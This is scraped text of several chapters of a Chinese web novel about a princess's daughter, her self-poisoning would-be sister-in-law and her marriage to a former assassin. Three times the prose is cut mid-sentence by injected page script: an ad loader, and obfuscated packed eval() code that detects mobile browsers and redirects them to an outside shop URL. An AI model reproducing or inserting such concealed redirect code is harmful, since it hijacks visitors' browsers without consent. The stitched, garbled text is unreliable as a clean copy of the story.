太医问完诊后,神色有些奇怪的看着床上瘦弱的姑娘,她和另外一个太医耳语一番后道:“姜姑娘安心,身体并无大碍,只需要静养便好。” 姜不离手臂露在棉被之上,她的骨架小,手腕纤细,垂眸时颇有我见犹怜之态。 一眨眼, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的眼中蓄满泪水,盈盈欲落。 太医回头时,她那颗豆大的眼泪恰好滴在手背,“我的身体我自己清楚,大夫不必隐瞒于我……” 她轻轻咳嗽几声:“我是不是时日不多了?” 另一个太医是一个急脾气,听到这话连忙训斥她:“小姑娘说这种话干什么,我们说是静养那就是静养,你更不要想的那么多,什么死不死的……” 性子温柔的太医拉拉躁脾气太医的衣角,示意她不要再说了。 两人收拾完东西便去同华梨交代: “姜姑娘是体弱多病、身体不好,可她久病不愈的根本原因是她体内的余毒,姜姑娘这些年似乎一直被人下毒,那些毒都是些不致命的东西,但也会导致体质愈来愈差。” “我猜是不是有什么仇家,记恨着姜小姐。” 太医说完,华梨想了想:“好,多谢两位太医姐姐出宫问诊,沈确,你跟着两位太医去抓药。” 支开沈确后,华梨兀自掀帘进到姜不离的房间,浓重的药味呛的华梨忍不住咳嗽几句,姜不离循声望去和华梨对视。 她先开口:“长阳郡主?” “嗯。” 她今日穿着一件青色裙衫,珠钗璎珞未带,看上去没有那么难以接近。 “给你灌毒的人是谁?” 姜不离愣住,没想到华梨会这么直接。 华梨没什么耐性,既然知道对方为何总是吐血染上重病,那她就赶快解决,“或者除了你和沈确之外,平时总是出入这里的人有谁?谁恨着你或者沈确?” 姜不离不吭声。 华梨第一次见这个“妹妹”,她看了几眼,觉得对方和沈确的长相半点不一致, 收回目光,华梨坐在矮凳上,“你不吭声也没用,要是那些仇恨沈确的人发现沈确的家在这里,还有一个手无缚鸡之力的妹妹,他们怎么可能有闲情逸致下毒。沈确就更不可能了……” 她的话还没说完,被姜不离打断:“你凭什么说不可能。” 华梨抬眸,看见姜不离直勾勾盯着自己。 姜不离有些神经质地笑起来:“你凭什么说不可能?他就是那样歹毒的人,不是吗?” “他杀了你的心上人,对吗?” 华梨没想到,现在不止是沈确,甚至姜不离都以为她原本喜欢卫章。 “他不是我的亲哥哥。” “他害死了我的亲哥哥,所以他想赎罪,所以才充当我的哥哥把我养到现在。但是我身体好了,怎么能体现他赎罪的心?所以他一直在给我下毒,让我离不开他,让他自己能一直赎罪!这才是他的真面目,一个下贱又阴毒的男人。” 一次性说太多话,姜不离感觉喉咙像是火烤的疼,她剧烈地咳嗽,华梨在旁边倒了杯温水递给姜不离。 她端详姜不离的长相,“怪不得你们两个长的半点不像。” 姜不离刚喝下水,忍不住怒吼:“谁要和他长的像,恶心死了!” 华梨不在意姜不离冒犯的态度,她带着玩弄的口吻:“那你看我和你哥哥有没有夫妻相?” 24. 第 24 章 姜不离震惊的睁大眼睛:“你,你,你和沈确都是的一样下三滥!怪不得能看上沈确那种下贱东西!” 姜不离十分崩溃。 她就知道,能看上沈确的人会是什么好人。 听到她的那番话,这个长阳郡主竟然连一丝波动都没有,她难道真的不在意沈确?长阳郡主之所以想得到对方,难不成真如沈确所说,是为了折磨沈确给自己的心上人报仇? 华梨笑笑,“沈确除了接悬赏外,平日的时间在酒楼端茶倒水,总之是没闲情逸致看医书。” 她站起身来俯视姜不离,姜不离平日见的人都是温和无害的模样,从未见过像华梨这般锐利的女子,明明在笑,叫人无端生出寒意,那双眼睛更似看透她内心的卑劣。 “这里的医书都是你在看的吧?” 姜不离感受到压迫,她不敢再看华梨的眼,眼神飘忽不定,最终落在华梨的衣领。 尽管华梨今日未佩戴金银珠宝,但依旧可以通过衣服布料看出对方的富贵。 她忽地有丝窘迫,棉被下的手紧紧攥住,脸上是不变的理直气壮:“是又如何?我体弱多病出不了门,自然要用医书打发时间。” 华梨遽然冷下脸: “那些毒是你自己下的吧。” 她伸手掐住姜不离的下巴,凑近姜不离的脸逼迫对方直视自己: “我也不想听你狡辩这个毒到底是谁下的,但到长公主府后不准作妖。既然沈确把你当作家人,我自然会把你当作他的家人,等你病好后我会安排人送你去书院念书,你要是还念着自己的前途,把自己的命当条命,就给我听话一点。” 华梨温软的呼吸一点点落在姜不离的脸上,姜不离感觉有什么滚烫的东西落在她心底,让她莫名恐慌。 于是她推开华梨,因情绪激动而染上绯红的脸上满是愤怒: “你以为你是谁?这又算什么?施舍吗?!” “我告诉你我不需要!!!我和沈确那样轻贱,为了银钱就媚主求荣的人不一样!” 华梨疑惑,关注点在其他地方:“有什么不一样?这些年你不就是用他的钱才活到现在吗?” 姜不离面容扭曲,有些呼吸不上来,她剧烈喘息死死盯住华梨的脸:“自然不一样!那是她欠我的!他害死了我哥哥,我哥哥是因为他死的。” “可是沈确杀了那么多人,为什么你却觉得他欠了你哥哥一条命。” 姜不离愣住:“这不一样,我哥哥、我哥哥是因为他死的!他本不该死的,他是好人,他……” 华梨步步紧逼:“从你的话来说,你哥哥应该和沈确是同僚,不然依照沈确那十天半个月说不出话的性子,他不太可能会和别人有交集。既然你哥哥是杀手,那就肯定会杀人,都杀人了,还谈得上什么好人?” “我哥哥是好人,他是为了我……才走上那条路的。” “沈确也是为了你,这些年才一直接悬赏杀人的。” 姜不离咬牙切齿怒视华梨,并没有因此对沈确改观: “你是来为沈确做说客的吗?沈确他在害死我哥哥之前就当了杀手,你凭什么把我哥哥和他相提并论?他就是个冷血的家伙,之所以替我治病,恐怕是因为这些年杀了那么多人,担心这辈子没有行善事,害怕死了下地狱!” 华梨恍然大悟:“反正沈确做什么都是错的。” 姜不离偏过头不肯再看华梨,华梨见姜不离不再那么激动,笑眯眯道: “其实你有多怨恨沈确同我无关,沈确是怎样的人也和我无关。他说是入赘,其实和卖身没什么区别,只不过卖身有卖身契,他入赘到我府上不用签卖身契。他原本不愿意入赘的,但是听到我能找名医治好你的病,就答应了。” “所以呀,到府上之后要乖乖吃药,妹妹。” 不知是因震惊还是愤怒姜不离双目圆睁,见到华梨不再同她多言自顾自往外走,她在身后喊道:“谁是你妹妹! 姜不离不害怕得罪华梨,她巴不得华梨因为自己迁怒沈确,故而说话也十分不客气。 等华梨走远,她想到自己先前和对方说的话,感到一阵别扭。 她拿起床边的医书,空看半晌,最后烦躁地把书扔到地上,神情阴森: “都给我去死。” . 华梨手下的人办事效率都很高,在得知姜不离的身体状况没有想象中那么差之后,华梨便吩咐府中人将姜不离和沈确的住所收拾好,第二日,沈确当值,姜不离被接到长公主府。 但由于华梨并没有将自己纳赘婿的事公之于众,故而她暂时对外宣称姜不离是她的远方表妹。 听回来禀告侍女的话,姜不离似乎没有闹腾,很乖巧的模样。 这时沈确正在华梨身边绣一条手帕,华梨俯身指着一处: “这里用红线。” 她说完收回目光看着沈确写的字帖,沈确的态度很端正,字帖上每个字都临的规整,刺绣也是亦然。 于是华梨夸赞:“你进步很快。” 华梨不知道寻常定情少男少女的相处是什么样子,便按照自己的心意问:“有什么想要的吗?” 一旁拿绣针的沈确停下手中动作,看着华梨摇头,这时他的眼中是死寂的沉默。 “那好吧。”华梨不太喜欢他的这种眼神,心情顿时烦躁起来,考虑到两人即将成婚,华梨将心中的烦闷忍了忍,没骂人。 她不开口,沈确更不会主动说话,安静低头在一旁绣花。 华梨从身后书架拿出本志怪小说翻来翻去,书页被翻出哗哗的响动,昭示主人内心的不满。 沈确还是像个木桩子。 华梨终于忍不住,她把书砸到沈确身上,书卷掉落,沈确一时不察,银针刺入指腹,鲜红的血将手帕的白面染红。 沈确用另一只没有被刺伤的手拿起书卷递给华梨,“抱歉,我的错。” 见沈确受伤还主动道歉,华梨顿时哑火。 她头一次不知道说什么,沉默地接过书将它放在桌上。 “你做错什么了。” 华梨闷闷地小声嘟囔一句,本没打算沈确会回答,她起身打算让侍从去拿药。沈确的声音在身后响起:“你生气了,我的错。” 华梨顿住脚步,她回头看着沈确,沈确静静回望着华梨。 又是一股无名火。 华梨冷着脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918145|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你没错。” 说完华梨打开门兀自回了房间。 沈确茫然看着华梨走远的身影,实在没想明白华梨为什么生气。 府上知道沈确和华梨关系的只有几人,门前负责守门的侍卫就是其中一个,见沈确这幅模样,啧啧两声。 他凑到沈确身边对沈确道:“大兄弟你这样子可不行,要是一直这个样子,郡主恐怕迟早被外面的妖艳贱货勾走魂,你要知道,咱们郡主是多金贵的人,你还天天冷着一张脸,给谁看呢。” 沈确听罢,有几分委屈,但被他很好地遮掩起来。 “我一直如此,怎么办?” 侍卫摸摸下巴:“我想想,既然郡主能看上你,说明她不讨厌你的性格。可是你是她未过门的夫婿,还这么冷淡总会叫人心生不满,但你的身份又很尴尬,现在没入门,名不正言不顺的……” 沈确越听神色越暗淡,他身上本就有肃杀之意,在华梨身边尚能收敛,面对其他人时这股阴凉的感觉便藏不住。 此时看上去像刚杀了人似的。 侍卫被他唬住,心中嘀咕金枝玉叶的郡主怎么会看上这种家伙,对方看上去就不会当个好夫婿。 不过…… 他想到沈确和华梨相处时那股乖巧劲儿,忍不住感叹郡主果然是郡主。 “你现在没名分,但是以后就有了啊,我教你怎么做……” 这边沈确在和侍卫请教,那边华梨得知五皇子前来拜访。 她在沈确那边生的气还没消散,就听到这般晦气的消息,登时拉长脸。 长公主府内肯定有五皇子的眼线。 华梨从前就察觉到这一点,但懒得去管。如今五皇子愈发不遮掩自己的目的,华梨觉得是时候将长公主府清理一遍。 她觉得五皇子就是个蠢货,没有足够的真心,又没有绝对的算计和隐忍,还站在一边沾沾自喜以为会成就大事,迟早会栽跟头。 华梨没去见五皇子,再次对外宣称自己染病。 她拿着账本翻开,对如春说道:“把府上的下人排查一遍,你觉得不对劲的人都清出长公主府。另外姜不离身上余毒未除,但似乎都不致命……算了,以防万一,让舅舅安排的那批暗卫继续找云游子的下落。” 云游子是名医,不知名不知姓,因常年云游四方治病救人,世人便尊称她为云游子。 如春办事稳妥,华梨问她婚期定在哪一天。 “二十五号宜婚嫁,但是……” “那就二十五号,恰好还有几天准备时间……长公主之前有同你讲她有回来的打算吗?” “未曾。” 华梨算了算时间,“那有点可惜了,她应该赶不上我和沈确的婚期。” 她是前几天突然决定的,长公主平时都在远离京城的地方呆着,从收到信到快马加鞭赶回来,只怕也赶不上她成婚那日。 “能从简的事就从简。”华梨翻过一页账本漫不经心道。 如春看着华梨浑然不在意的模样,有些忧心:“郡主,虽然说是沈确是赘婿,但终究您给他的名分是正夫,而且这还是郡主您的头婚,若长公主不在,恐怕朝廷上的文官会斥责这种行为。” 25. 第 25 章 华梨认真思索起这句话。 她问:“那你觉得应该怎么做?” “婚期延迟,等长公主回府。” 如春不在意沈确,她只在乎长公主和华梨。 当今王朝重孝,长公主和长阳郡主在明面上关系亲密,华梨这番行为势必会引来文人不满,更何况长公主深得民心,华梨的婚事若不等长公主归府主持,届时就算长公主不在意,华梨也会引起百姓的口诛笔伐。 华梨想也不想否决如春的提议:“不可能,我等不到那么久。”月底就是五皇子生辰宴,她等不了那么久。 “先继续准备这次婚事,若是赶不上长公主归府,就先对外宣称我养了男宠。” “……这恐怕也不太好。” 华梨脾气上来了:“那我能怎么办,长公主一生自由洒脱,我不过收个男宠怎么了?” 见华梨面色不好,如春闭嘴不好再说什么。 养男宠算不上什么太过分的事,只不过华梨原本在京城中名声就差,一旦养上男宠,指不定会被民间编排成什么样子。可那点不痛不痒的编排,比起被朝廷文官安上不孝的罪名要好得多。 只是如春不明白华梨为何这次决定如此匆忙。 华梨是个雷厉风行的人,可也不至于行动这般无厘头。这其中肯定有什么她不知道的内情,华梨不讲,她便没有资格知道。 正在如春打算退下的时候,她的余光撇见一抹鲜红的衣角。 似有感应,如春抬头,就见到长公主华映月站在门边,她像是连日快马加鞭赶回长公主府,身上颇有风尘仆仆的意味。 华梨回过头自然也看到站在门边的长公主,她先是有点愣住,缓过来后她的语气很不好: “你听了多少?” 问完华梨又觉得无所谓,“算了,反正她都会和你汇报的不是吗?” 长公主有些无奈,她让如春先退下,边走到桌旁替自己倒了杯茶:“我也不是故意要偷听的,叫如春把你的近况汇报给我,也是担心你在京城中出事……” 华映月顿住没有接着说下去。 “知道你聪明,可当娘的远在外地,怎么会不担心自己的孩子。你脾气真是不好,每次见面都和我闹这么一出,不知道的还以为咱们娘俩有深仇大恨呢。” 喝完这口茶,华映月站起身笑盈盈的看着华梨,走近搂住她,语气像哄小孩似的,“让娘亲好好看看咱们的阿梨长成什么样了。” 说完她将华梨整个人抱在怀里,伸手摸摸华梨的头发: “怎么突然要纳赘婿了?” 华梨挣脱不开这个怀抱,索性放弃,撇过脸:“华钧说他要在他生辰宴的那天向舅舅求娶我,我以为你赶不回来,最近五皇子势头正大,舅舅之前便有意撮合我和华钧,我怕他这次会直接顺水推舟。” 华映月嗤笑:“他倒是胆子大……你也不对你舅舅有点信心,你既说明自己不喜华钧,他定然不会同意这桩婚事。” “那可不一定,我说是讨厌,有人会曲解成欲擒故纵,有人会以为是小打小闹,我又不是舅舅,我怎么可能猜得到他内心是怎么想的。” 华映月拍拍华梨的脑袋: “你要是他那还得了。” 她松开怀抱双手搭在华梨肩上,“还有,别总是说这些大逆不道的话。” 华梨不甚在意,她从身上掏出手帕给华映月,问她:“你怎么回来这么快。” “你记得上次你舅舅宣你入宫讨论立太子的事吗?” “自然记得,所以你这次回来是为了和舅舅商量这件事?” 如春守在门外,两人不怕有人暗中偷听。 华映月点头又摇头,脸色难得有些凝重:“我们怀疑有人暗中坐不住,要搞鬼。” 华梨从华映月的反应中察觉出端倪,她自诩胆大放肆,可猜到华映月的未尽之言仍觉得惊骇,她压低声音:“造反?” 说完这两个字,华梨又认为不大可能,她皱眉否定:“怎么可能造反,舅舅正值年轻气盛,兵权也牢牢握在自己手上,造反不就是自寻死路吗?” “阿梨,这里是京城,你舅舅呆的地方是皇宫,总归有人会为了那个位子争的你死我活。”华映月就着手帕擦手,而后点点华梨眉心。 华梨蓦然想到最近皇帝忽然对华钧极为看重,她觉得有点不可思议: “所以五皇子是他放出的饵?” “五皇子有野心却无谋略更不善于用人,他容易当出头鸟。” 华梨沉默几瞬,拍掉华映月的手,眸光微寒: “他若是饵,那肯定还不够,背后之人定然不会轻易上钩,除非加大他的分量。我当时就疑惑为何华钧会突然整这么一出,是有皇帝从中暗示吧。我身后站的是你,皇帝恩宠又在我,我若是被赐婚给皇家子弟,大多数人都会认为我的夫婿是未来太子,乃至皇帝。” 想到这一层后华梨十分恼怒,她抬起头却看见长公主笑着注视她,便更加气愤: “你敢说不是?” 长公主不慌不忙,看着怒视自己的华梨,“只说对一半,我说过,只要真的不喜欢华钧,你舅舅也不会让你嫁给他,只不过可能会让你受几天冷待遇。” 华梨真的不愿意嫁人,皇帝又不能放弃让华钧当饵的计划,届时皇帝为表达对华钧的重视定会惩罚华梨。 等到一切过去,她便又是那个高高在上的长阳郡主。 皇权斗争总是如此。 “你明明比皇帝更清楚我有多讨厌华钧。” 长公主有点无奈,她低头看着眉目和自己有几分相似的华梨,“生在皇室总是有很多不得已,但娘亲向你保证,不会有第二次了,这次是对不住咱们阿梨。” “之后京城里会越来越不太平,我在外有一只商队,恰好你之前也说想去外面转转,就当散心。” “等风波平定,在回来也不迟。” 长公主总是喜欢用这种方式说话,叫华梨觉得自己好像打在棉花上。 她很讨厌别人算计自己,更讨厌卷入皇室斗争,但是她很清楚,当一切开始暗中争夺时,她不可避免的会被牵扯。 这一次她被自己的亲人拉到了棋局边缘,没有入局,但能窥见其中风云。 这是长公主在提醒自己,让自己作出选择。 留下就势必入局,出京她也能保证自己的安全。 选择权在华梨手上。 她会怎么选? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931811|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华梨不想选,她沉默着,现在这个局面十分怪异,一定有什么她未曾察觉到的事。 长公主没有催促华梨。 过了半晌,华梨才开口: “你知道我的性子,就算对方是皇帝,只要我不愿意,我就不会嫁。你从头到尾就知道将我纳入这个计划是错误的,但是你和皇帝还是这么做了。所以你二人从头到尾就没打算让我嫁给华钧,而是有另一个目的。” 长公主笑着,静静看着在说话的华梨。 “你们想看我是否聪慧,是否能看透你们这第二个目的,能否有这个胆魄和自信说出这番推测,对吗?” 长公主终于忍不住拍手称赞:“没错。” “阿娘和舅舅是真的心疼你,你性子别扭,让你暂时隐姓埋名离开京城你肯定不肯,若参与权争,肯定会埋怨我。于是我就想出这么一出。” 她脸上神色温柔,眼中是对华梨的怜爱。 “若想不被牵扯,需要你足够聪明,这两次你都做的很好。我和你舅舅怎么可能会让你不喜欢的人来为难你,五皇子确是是饵,但世间办法千万种,用婚嫁来换取谋略的办法是庸人才会纳用的。” “若你没能想出好的解决方法,你舅舅和我也不会让他来为难你的,最开始和你讲的那些话都是用来迷惑咱们阿梨的,你可千万不能信以为真,以为娘亲是那种人。” “把你推入火坑……怎么舍得啊。” 长公主最后那句喃喃自语华梨没能听清楚,她道:“原本误会了,后来听到想到其中的怪异之处,便想通了。” “但我还是有一点不明白。”华梨坐在长公主的对面,“为什么你会那么相信他?” “他是九五至尊,掌权天下,就算你们是姐弟,他也是皇帝,自古帝王家无情无义……” “阿梨。”长公主脸上的笑意逐渐淡下来,但她仍旧温和地看着华梨,“因为我们是亲人,我们是彼此最亲密、最重要的人,你永远可以相信我们。” “他有自己的儿女。” “那怎么会一样呢……”长公主伸手替华梨梳理耳边碎发,“不一样的。” “归根到底都是人啊,就像华梨是你的名字,但是你也可以叫华棠、华桃。长阳郡主是你的身份,你还是我的女儿,你爹的女儿,但抛开这些,你只是你自己呀。” “你果然还是被那些圣贤书教傻了,为什么大多数皇帝无情,是因为他们把皇帝的身份放在了首位,不过这是人之常情,毕竟权欲熏心。” 这是华梨一直没能想明白的事,长公主怎么能确保她曾经的皇弟、如今的皇上,没有变。 华梨觉得长公主太重亲情,若皇帝想利用她来谋事,她恐怕不会拒绝。 就像这次,究竟是二人合谋还是皇帝在利用长公主,华梨看不出来。 她担心长公主被骗,但华梨最后只是撇过脸: “你总是这样,迟早有天吃亏。还有我才没有读傻,是你太信任他了。” 长公主无奈,她知道自己说服不了华梨,就道:“不提这事了,就……谈谈你的男宠?” 她脸上再次出现笑意,这次的笑意带有玩味色彩。 “是男宠,还是夫婿呢?” 26. 第 26 章 华梨本不觉得有什么羞耻,但被长公主这么调侃,她像是被踩到尾巴的猫应激起来:“那怎么了?!” 长公主哈哈大笑几声,眼看华梨快要翻脸走人,她不得不止住笑意: “没什么,只是没想到咱们阿梨看起来对情爱不感兴趣,说出的话却这么胆大。” 这话还不如不说,华梨更加恼怒,她就要站起身拂袖而去,长公主的声音轻飘飘从后面传过来:、 “既然现在你知道五皇子注定没有机会向陛下求娶你,这桩婚事你打算怎么办?若暂时不想成婚,阿娘可以替你棒打鸳鸯,毁了这桩婚事。” 华梨转身看着长公主,认真思考片刻:“不必,我还挺喜欢他的,以后不喜欢了再说吧。” 长公主若有所思,没有多说。 . 既然长公主已经回府,那么一切计划照旧。 府上办事效率十分之高,哪怕华梨说的匆忙,府上的人也能在短时间内将一切置办好。沈确也将婚服绣好,连带着几日的字帖,一并交给华梨验收。 期间因突然采购大批物品而引起的流言,也被用“迎接长公主回府”糊弄过去。 在府中事宜准备好后,华梨送出婚贴,在京中引起不小的风波,有人暗中诋毁、有人心生疑惑。 “你说说为何那长阳郡主突然纳婿?听人说那男人原本是她的贴身侍卫,还长了张十分俊俏的脸,听说那张脸比花楼里的花魁还要美艳几分……该不是嚣张跋扈的郡主强抢民男吧!” “那倒不至于吧,虽说长阳郡主性格乖张,但好歹是皇亲国戚,再说了五皇子还心系于她,那样高高在上的人怎么会看上一个平民?什么样的美男子她没见过。” “那难不成还是真心相爱?哈哈哈哈……未免太过滑稽!” “也不知长阳郡主招婿是个什么标准,如若可以,我倒想枕席自荐一下……” 流言五花八门,但都没能影响到这场婚事。 华钧得知消息后前来见华梨,但被拒之门外,因长公主回府,他倒没有过多纠缠。 婚期当天,华梨被早早叫起来梳妆打扮,华百川、华千流和赵羡三人到府后,华百川因为毕竟是外男,他没去见华梨,而是心思重重的前去拜见长公主。 他在长公主面前欲言又止,想到华梨之前给自己的警告,愣是半点说不出话。 最后还是长公主见他神色怪异主动问及,他才斟酌几番问道:“姑母可知那人来历,表姐心思单纯直率,可莫叫人骗了去。” 他心中已经有了猜测。 恐怕这个“沈确”就是华梨之前让他找的长影街杀手即情人,无论沈确是否真心,就凭借他曾是长影街杀手的身份就足够危险,更何况据他所知,那个代号为沈贰的杀手并不简单,他听说大理寺怀疑最近的几场凶杀案都和对方有关。 只是他还没有来得及和华梨说这件事,就得知华梨要纳婿成婚。 这件事卡在他的心里不上不下,见到长公主就更心虚了。 华映月笑道:“阿梨是个有主意的孩子,你不用担心。” 华百川依旧担忧:“可我听说沈确只是一个侍卫,姑母不担心对方心怀不轨吗?” 面对华百川的担忧,华映月并不在意: “那也得有这个实力。” 华百川很想把自己知道的事情讲给长公主,但是与华梨约定在先,他苦于不能开口。 长公主见华百川仍不放心,想到如春和自己来信中交代的事,明白他在担心什么,安抚道:“你也是个好孩子,阿梨她都同我讲过对方底细,我知晓内情,她做事有分寸的。” 话说到这里,华百川不好再多说什么,但心中仍放心不下华梨。 华梨已经梳妆完毕,正无聊地和华千流斗嘴打发时间,赵羡在一旁很着急的模样,害怕华千流说出什么过分的话。但是显然,华千流是知道分寸的。 不久,忽然有侍女来报,她贴着华梨耳侧说话。 “郡主,姜姑娘不见了。” 华梨原本笑意盈盈的脸缓缓沉下来,华千流离她最近,敏锐察觉到华梨脸色微变,意识到可能发生了什么。 于是华千流撇撇嘴:“不和你聊了,我要去找我哥哥了。”她说完便拉着还没反应过来的赵羡离开房间。 待房中安静下来,华梨看着来汇报的侍女问道:“什么时候发现她不见的?” 侍女:“奴婢也不清楚,姜姑娘是翻窗逃跑的,奴婢去敲门时无人回应,才发现她不在屋内。” 华梨皱眉,如果说之前她觉得姜不离的小打小闹无伤大雅,那么此时她是真的有点生气。 吉时未到,华梨还未换上婚服,她稍加思索,便想到华千流会去到哪里。 华梨拿上帏帽将整张脸隐于薄纱之下,侍女忙问:“郡主去哪里?这种事吩咐侍从去做就好,何必郡主您亲自动身……” 侍女以为姜不离此时失踪是不想让自己的哥哥入赘,毕竟在有些人眼里,男子入赘是很不光彩的事。 若是姜不离早些闹腾,或许她还会理解几分,只是此时婚事已定,吉时将近,这位姜姑娘偏偏挑这种时候,明显是想让人难堪。 她小心看了眼华梨的神色,但由于白纱遮挡,侍女什么也看不清,只听到华梨道: “无妨。” 因为如春在忙其他事宜,华梨出府带上另外几个暗卫,她避开人群抄着小路出府,幸亏这次婚宴所邀请的人并不多,华梨一路都未曾被人发觉。 沈确原本的住址落锁,华梨抵达后并不意外,她目光落到沈确的邻居钱湘门前。 几声叩门后钱湘前来应门。 她看到华梨掀开帏帽露出白纱下矜贵的面容。 钱湘几乎瞬间就明白了华梨的来意,她有些尴尬的挠挠脸,微一犹豫后让开身子放华梨入内。 她小声道:“姜小妹在屋内。” 沈家兄妹匆忙搬出这里的时候,钱湘就觉得有些奇怪,直到后来长公主府突然传出长阳郡主纳婿的事,她得知长阳郡主选中的夫婿名叫“沈确”,且长相极为俊美,那时她的心中就有隐隐猜测。 今日长阳郡主大婚,姜不离突然来敲门,说要借宿。钱湘向来不大会思考太复杂的事,她察觉又什么不对劲,但由于姜不离面色苍白,她不好多问。 直到现在华梨来敲门,钱湘才终于明白姜不离给自己带来一个多大的麻烦。 她有点头疼。 妹妹在哥哥大婚之日出逃,哥哥还是赘婿,这传出去像什么话。 于是钱湘果断选择不参与这件事,目送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938824|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华梨进屋,自己则坐在院子里祈祷此事莫要波及自己。 华梨掀开布帘看着床上的姜不离冷声道:“你果然在这里。” 姜不离一声不吭,华梨走上前捏住姜不离的下巴:“你觉得你做这件事又什么意义吗?” “你出走其实并不会影响到这桩婚事,你自己知道的,我大可对外宣称你染重病无法下榻,总之婚宴上都是王权贵族,就算有人察觉不对,他们也不会因为一个无权无势的家伙和我过不去。” “你前几天分明已经被我说动,为什么又突然反悔,来这么一出?” “让我猜猜,恐怕你想的是能毁掉这桩婚事自然最好,但是你最主要的目的……” “……不要再说了!”姜不离突然出声打断华梨的话,眼神凶恶,声音尖锐,“你懂什么?别拿自己的那一套心思来揣测我!” 华梨目光冷凝,没有理会姜不离的话:“怎么,恼羞成怒害怕被我拆穿内心真实想法吗?来的路上我想过,你确实恨沈确,所以你也不想再欠他,对吗?” 华梨第一次和姜不离见面时,就能从和她的对话中大致推测出对方的性格,但那时华梨怠于将话说的太难听,因为华梨觉得没必要。但现在华梨被惹恼,就想说点难听的话刺痛对方。 而姜不离确实被刺激到,原本就无甚血色的脸更加苍白。 “你心底觉得自己欠他,你不愿意接受这个事实,所以你只能让自己更加怨恨他,对吗?” “你不愿意放过他,更不愿意放过你自己。” 华梨的眼眸直直看着姜不离,像是将她整个人看透。 “你如果真的不想让这件事成功,你该在我和我沈确拜天地的时候大闹一场。” 猛然绷直身子,姜不离捏紧拳头,“……我只是没想到。” “你肯定想到了,你很聪明,你甚至知道用药折磨自己的身体,让自己一次次病发,让沈确一直背负着愧疚。这种简单的手段,你怎么可能想不到。” 华梨逼近姜不离,叫姜不离被迫直视自己。 “你想干什么?”姜不离没有遇到过像华梨这般咄咄逼人的家伙,更别提华梨此刻在针对她,她受不了这种气氛,于是主动开口问华梨。 如果华梨是来劝她回去的,她一定不会回。 但华梨只是松开掐住她下巴的手,盯她半晌,语气悠悠:“没想干什么,正如我所说,你的出逃对这起婚事不会有半点影响,只是你不听我的劝告,闹出这件事让我很不愉快。” “我是个睚眦必报的人,所以我专门赶过来说这些话,好欣赏你崩溃黯然的样子。” 姜不离瞪大眼睛觉得不可思议,眼前的人怎么可以恶劣到这种程度?! 但华梨的话还没说完,“你应该积攒了不少钱吧,毕竟你不是真的有病,用不到那么多银子,而你应该从未考虑过寻死。” “是又怎样,我就是要好好活着!”姜不离下意识呛声。 华梨露出笑来,那个笑容是华梨惯用的笑,带着危险的气息。 “也就是说就算我不管你,你离开长公主府后也能好好活着,我也能够兑现给沈确的承诺。所以……” 华梨带上帏帽,转身,“你就好好活着吧。” “总之和我没什么太大干系。” 27. 第 27 章 华梨说和她没关系,她就真的干脆转身离开。 姜不离愣愣半躺在床上不明所以:她心中准备了千万套拒绝回长公主府的话,此刻全部没有派上用场。 . 大婚之日,吉时已到,华梨换好嫁衣,跨过火盆,听着众人的声音在耳边响起。 “一拜天地——” 华梨手上攥着红绸,蓦然感到心头一阵刺痛,她没太在意,以为是最近心烦意乱导致的。 她低头,由于盖头遮挡视线,她只能看到沈确的鞋面。 “二拜高堂——” 礼官的声音拉长,华梨又在想,此时长公主的表情一定是带着笑的。 “夫妻对拜——” 最后一拜,华梨半转过身子面对沈确,她想,若她有天厌弃了沈确,她肯定会顺着自己的心意将沈确驱逐出府。 届时沈确会报复自己吗? 华梨不知道以后的事,在礼官拉长的声调她弯下腰,繁重的首饰随着倾身的动作微动,细小的声音淹没在周围的嘈杂中。 礼成。 . 虽说华梨成婚,但由于对方是赘婿,皇帝并未亲临,但为表达对华梨的重视,他赐下珍宝无数。 华梨被沈确牵回房间后,便拉着沈确不让沈确离开。 她就着所剩无几的视线跑前去将门关上,“告诉母亲,就说我让沈确明天早晨再去和她请安。” 门外是华千流逐渐远去的声音:“哪有你这么当新娘子的,这么霸道!” 很快,门外变的安静。 华梨这才转身,她看上去很高兴,转身时宽大的裙摆转出的弧度像一朵半盛开的花朵。 沈确安静地看着转过身的华梨,华梨走到他面前,让他把盖头掀开。 视线明了的瞬间,沈确目光中便只剩下华梨带笑的脸。 华梨也在看着沈确。 今日的红色很衬沈确,让他少了几分阴郁气,多增几分贵气,整个人看上去更加俊美,像是从画中走下的贵公子。 华梨牵着沈确的手,沈确有些僵硬,直到现在他都不能很好适应华梨亲昵的举动。 